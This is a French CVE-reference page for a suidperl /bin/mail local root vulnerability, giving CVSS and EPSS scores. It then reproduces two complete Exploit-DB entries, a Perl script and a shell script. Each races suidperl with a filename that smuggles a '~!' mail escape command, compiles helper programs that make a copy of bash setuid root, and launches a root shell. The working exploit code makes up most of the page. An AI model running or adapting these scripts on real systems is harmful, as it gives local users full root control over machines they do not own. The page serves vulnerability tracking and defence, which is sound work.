CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
suidperl (aka sperl) does not properly cleanse the escape sequence "~!" before calling /bin/mail to send an error report, which allows local users to gain privileges by setting the "interactive" environmental variable and calling suidperl with a filename that contains the escape sequence.
Informations du CVE
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
7.2
AV:L/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
3.22%
–
–
2022-02-13
–
–
3.22%
–
–
2022-04-03
–
–
3.22%
–
–
2022-09-18
–
–
3.22%
–
–
2023-03-12
–
–
–
0.04%
–
2024-02-11
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2024-12-22
–
–
–
0.05%
–
2025-03-02
–
–
–
0.05%
–
2025-01-19
–
–
–
0.05%
–
2025-03-09
–
–
–
0.05%
–
2025-03-18
–
–
–
–
0.3%
2025-03-30
–
–
–
–
0.3%
2025-04-15
–
–
–
–
0.3%
2025-04-15
–
–
–
–
0.3,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2000-08-06 22h00 +00:00 Auteur : Sebastian Krahmer EDB Vérifié : Yes
source: https://www.securityfocus.com/bid/1547/info
The interaction between some security checks performed by suidperl, the setuid version of perl, and the /bin/mail program creates a scenario that allows local malicious users to execute commands with root privileges.
The suidperl program performs a number of checks to make sure it can't be fooled into executing a perl script with root privileges when its not suid root. When one of these checks fails the program will compose a message to the root user. The mail message looks like this:
From: Bastard Operator <root@nimue.tpi.pl>
To: root@nimue.tpi.pl
User 500 tried to run dev 769 ino 343180 in place of dev 769 ino 343183!
(Filename of set-id script was /some/thing, uid 500 gid 500.)
Sincerely,
perl
The name of the script to execute (inserted into the message) is taken from the program's argument list (argv[1]). suidperl executes /bin/mail to inject the message into the mail system. It does so without cleaning the environment or dropping its root privileges. The /bin/mail program has an undocumented feature. By setting the environment variable "interactive" to any value, /bin/mail will interpret the sequence "~!" as an escape sequence to start a shell and execute commands even when the program is not attached to a terminal. The environment variable "interactive" can be also set from ~/.mailrc with a "set interactive" line.
A malicous user can create a file with an escape sequence and commands embedded in the file name, then execute suidperl in such a way that the security check fails. suidperl will send a message to root via /bin/mail with the escape sequence embedded in the message. This will cause /bin/mail to start a root shell and execute the commands.
#!/usr/bin/perl
# In spring 2000 i got a pointer from Dave Dittrich that my own perl-script
# that i used for my EoE IDS used /bin/mail in an insecure way. However,
# Dave told me that it is propably not exploitable. Some month later
# i noticed that suidperl uses the same way to log intrusion-attempts.
# I patched perl.c so that i could test the vuln without the race. After some
# hard nights i found, that it was possible. The thing that made the exploit possible
# was mail's hidden feature 'interactive'. I contacted some friends and
# we all agreed that the exploit wouldn't be the easiest. However, after contacting
# Michal too, he showed that we have been wrong. :)
# Michal wrote the first exploit (shell-script) but it failed on my BSD box.
# So i ported it to perl. Below the initial comment from his exploit:
#
# -- PLEASE READ THESE COMMENTS CAREFULLY BEFORE TRYING ANYTHING --
#
# Wonderful, lovely, world-smashing, exciting perl exploit. It works against
# +s suidperl, exploiting undocumented /bin/mail feature when perl wants to
# notify root on inode race conditions. Currently, tested under RH Linux.
#
# What's probably most shocking, buggy code has following comment inside:
# /* heh, heh */. I guess author wasn't laughning last.
#
# Development history of this exploit is really funny. I found this condition
# about 4 months ago, but thought it's useless (who wants to notify root?).
# I deleted my test code and didn't left any notes on it. Then, month after
# this discovery, Sebastian contacted me. He was working on perl exploit.
# He told me he don't know how to cause this condition to happen, but
# if he realise how he can do it, he'll be able to use undocumented /bin/mail
# feature - environmental variable 'interactive', which, if set, causes
# /bin/mail to interpret ~! commands (subshell requests) even if stdin is not
# on terminal. And then I understood what I've done. I spent next month
# (yes! no kidding!) trying to recall what the fsck was the condition. I
# remembered it was trivial, even annoying... And finally, now I'm able to
# reconstruct it.
#
# This exploit tries to fit in rather short, but reasonable time window in
# order to exploit it. I tested it on fast, not overloaded Linux box, and
# I guess on slow machines it needs tunning. It needs anything setuid
# (/usr/bin/passwd is just fine), writable working directory and something
# around 4 minutes. Working directory should be mounted without noexec or
# nosuid options (if so, find something like /var/lib/svgalib etc).
#
# WARNING: On slow machines, it's quite possible this exploit will cause
# heavy load. Please test it when system is not overloaded and not used
# (eg. at night).
#
#
# I'd like to thank Sebastian Krahmer for his help (in fact, HE discovered it
# - I think I can say it without shame), and especially thank to several of
# my braincells that survived monitor radiation and made me recall this
# race condition.
#
# Send comments, ideas and flames to <lcamtuf@ids.pl>
# Tested with sperl 5.00503, but should work with any other as well.
#
# Good luck and don't abuse it.
#
# The warnings also apply to this program. FOR EDUCATIONAL PURPOSES ONLY!!!
# Greetings as usual: You all know who you are :))
# S.
sub REAPER
{
while (waitpid(-1, WNOHANG) > 0) {
}
}
$SIG{CHLD} = \&REAPER;
print "\n\nSuidperl 5.00503 (and newer) root exploit\n".
"-----------------------------------------\n".
"Bugdiscovery & Exploit by Sebastian Krahmer <krahmer\@cs.uni-potsdam.de>\n".
"With [even greater] respect to Michal Zalewski, who wrote the first exploit!\n\n";
$suidperl = `which suidperl`;
if ((stat($suidperl))[2] & 04000 != 04000) {
print "No +s suidperl found.\n Aborting.\n";
return;
}
print "Your choice is $suidperl\n";
print "When you need to quit this program, just type\n".
"'killall -9 hack.pl' on a second console.\n\n";
chdir("/tmp");
open O, ">flare1" or die "$!";
print O<<_EOF_;
#!/usr/bin/suidperl
print "I know!\n";
_EOF_
close O;
open O, ">flare2" or die "$!";
print O<<_EOF_;
#!/usr/bin/suidperl
print "I know!";
_EOF_
close O;
open O,">littlehole.c" or die "$!";
print O<<_EOF_;
int main()
{
setuid(0);
setgid(0);
chown("boomsh", 0, 0);
chmod("boomsh", 06755);
return 0;
}
_EOF_
close O;
open O, ">boomsh.c" or die "$!";
print O<<_EOF_;
int main()
{
setuid(0);
setgid(0);
system("/bin/bash");
return 0;
}
_EOF_
close O;
chmod 04700, "flare1" or die "$!";
chmod 04700, "flare2" or die "$!";
`cc -o boomsh boomsh.c`;
`cc -o littlehole littlehole.c`;
print "OK. All pre-race stuff done. Starting race ...\n".
"Please be patient. It can take some minutes.\n".
"You can safely ignore error-messages like 'No such file ...'\n";
$filename = 'foo
~!littlehole
';
$ENV{interactive}=1;
$ENV{PATH}.= ":.";
$p = $$;
fork();
fork();
fork();
# maybe comment this out if box is slow
fork();
#fork();
# the idea is simple (hey, i dont know why i didn't got this
# idea before Michal! :)
# We just fork off some suidperls with 2 different
# inputfiles. Then the bruting change of symlinks will
# hopefully hit on of the suidperl's race.
# chances are good.
while (((stat("boomsh"))[2] & 04000) != 04000) {
unlink($filename);
symlink("/tmp/flare1", $filename);
system("nice -20 \"$filename\">/dev/null &");
unlink($filename);
symlink("/tmp/flare2", $filename);
system("nice -20 \"$filename\">/dev/null &");
}
print "OK. /tmp/boomsh is setuid root!\n";
# the first one wins the prize :)
if ($p != $$) {
exit(0);
}
system("/tmp/boomsh");
Date de publication : 2000-08-06 22h00 +00:00 Auteur : Michal Zalewski EDB Vérifié : Yes
source: https://www.securityfocus.com/bid/1547/info
The interaction between some security checks performed by suidperl, the setuid version of perl, and the /bin/mail program creates a scenario that allows local malicious users to execute commands with root privileges.
The suidperl program performs a number of checks to make sure it can't be fooled into executing a perl script with root privileges when its not suid root. When one of these checks fails the program will compose a message to the root user. The mail message looks like this:
From: Bastard Operator <root@nimue.tpi.pl>
To: root@nimue.tpi.pl
User 500 tried to run dev 769 ino 343180 in place of dev 769 ino 343183!
(Filename of set-id script was /some/thing, uid 500 gid 500.)
Sincerely,
perl
The name of the script to execute (inserted into the message) is taken from the program's argument list (argv[1]). suidperl executes /bin/mail to inject the message into the mail system. It does so without cleaning the environment or dropping its root privileges. The /bin/mail program has an undocumented feature. By setting the environment variable "interactive" to any value, /bin/mail will interpret the sequence "~!" as an escape sequence to start a shell and execute commands even when the program is not attached to a terminal. The environment variable "interactive" can be also set from ~/.mailrc with a "set interactive" line.
A malicous user can create a file with an escape sequence and commands embedded in the file name, then execute suidperl in such a way that the security check fails. suidperl will send a message to root via /bin/mail with the escape sequence embedded in the message. This will cause /bin/mail to start a root shell and execute the commands.
#!/bin/sh
#
# -- PLEASE READ THESE COMMENTS CAREFULLY BEFORE TRYING ANYTHING --
#
# Wonderful, lovely, world-smashing, exciting perl exploit. It works against
# +s suidperl, exploiting undocumented /bin/mail feature when perl wants to
# notify root on inode race conditions. Currently, tested under RH Linux.
#
# What's probably most shocking, buggy code has following comment inside:
# /* heh, heh */. I guess author wasn't laughning last.
#
# Development history of this exploit is really funny. I found this condition
# about 4 months ago, but thought it's useless (who wants to notify root?).
# I deleted my test code and didn't left any notes on it. Then, month after
# this discovery, Sebastian contacted me. He was working on perl exploit.
# He told me he don't know how to cause this condition to happen, but
# if he realise how he can do it, he'll be able to use undocumented /bin/mail
# feature - environmental variable 'interactive', which, if set, causes
# /bin/mail to interpret ~! commands (subshell requests) even if stdin is not
# on terminal. And then I understood what I've done. I spent next month
# (yes! no kidding!) trying to recall what the fsck was the condition. I
# remembered it was trivial, even annoying... And finally, now I'm able to
# reconstruct it.
#
# This exploit tries to fit in rather short, but reasonable time window in
# order to exploit it. I tested it on fast, not overloaded Linux box, and
# I guess on slow machines it needs tunning. It needs anything setuid
# (/usr/bin/passwd is just fine), writable working directory and something
# around 4 minutes. Working directory should be mounted without noexec or
# nosuid options (if so, find something like /var/lib/svgalib etc).
#
# WARNING: On slow machines, it's quite possible this exploit will cause
# heavy load. Please test it when system is not overloaded and not used
# (eg. at night).
#
#
# I'd like to thank Sebastian Krahmer for his help (in fact, HE discovered it
# - I think I can say it without shame), and especially thank to several of
# my braincells that survived monitor radiation and made me recall this
# race condition.
#
# Send comments, ideas and flames to <lcamtuf@ids.pl>
# Tested with sperl 5.00503, but should work with any other as well.
#
# Good luck and don't abuse it.
#
clear
echo "Suidperl 5.00503 (and newer) root exploit"
echo "-----------------------------------------"
echo "Written by Michal Zalewski <lcamtuf@dione.ids.pl>"
echo "With great respect to Sebastian Krahmer..."
echo
SUIDPERL=/usr/bin/suidperl
SUIDBIN=/usr/bin/passwd
echo "[*] Using suidperl=$SUIDPERL, suidbin=$SUIDBIN..."
if [ ! -u $SUIDPERL ]; then
echo "[-] Sorry, $SUIDPERL4 is NOT setuid on this system or"
echo " does not exist at all. If there's +s perl binary available,"
echo " please change SUIDPERL variable within exploit code."
echo
exit 0
fi
if [ ! -u $SUIDBIN ]; then
echo "[-] Sorry, $SUIDBIN is NOT setuid on this system or does not exist at"
echo " all. Please pick any other +s binary and change SUIDBIN variable"
echo " within exploit code."
echo
exit 0
fi
echo "[+] Checks passed, compiling flares and helper applications..."
echo
cat >flare <<__eof__
#!/usr/bin/suidperl
print "Nothing can stop me now...\n";
__eof__
cat >bighole.c <<__eof__
main() {
setuid(0);
setgid(0);
chown("sush",0,0);
chmod("sush",04755);
}
__eof__
cat >sush.c <<__eof__
main() {
setuid(0);
setgid(0);
system("/bin/bash");
}
__eof__
make bighole sush
echo
if [ ! -x ./sush ]; then
echo "[-] Oops, seems to me I cannot compile helper applications. Either"
echo " you don't have working 'make' or 'gcc' utility. If possible,"
echo " please compile bighole.c and sush.c manually (to bighole and sush)."
echo
exit 0
fi
echo "[+] Setting up environment..."
chmod 4755 ./flare
FILENAME='none
~!bighole
'
export interactive=1
PATH=.:$PATH
echo "[+] Starting exploit. It could take up to 5 minutes in order to get"
echo "[+] working root shell. WARNING - WARNING - WARNING: it could cause"
echo "[+] heavy system load."
while :; do
( ln -f -s $SUIDBIN "$FILENAME";usleep $RANDOM; nice -n +20 $SUIDPERL ./"$FILENAME" <./flare & ) &>/dev/null &
( usleep $RANDOM ; ln -f -s /dev/stdin "$FILENAME" ) &>/dev/null &
if [ -u ./sush ]; then
echo
echo "[+] VOILA, BABE :-) Entering rootshell..."
echo
rm -f "$FILENAME" sush.c bighole bighole.c flare
./sush
echo
echo "[+] Thank you for using Marchew Industries / dupa.ryba products."
echo
rm -f "$FILENAME" sush.c bighole bighole.c flare sush
exit 0
fi
done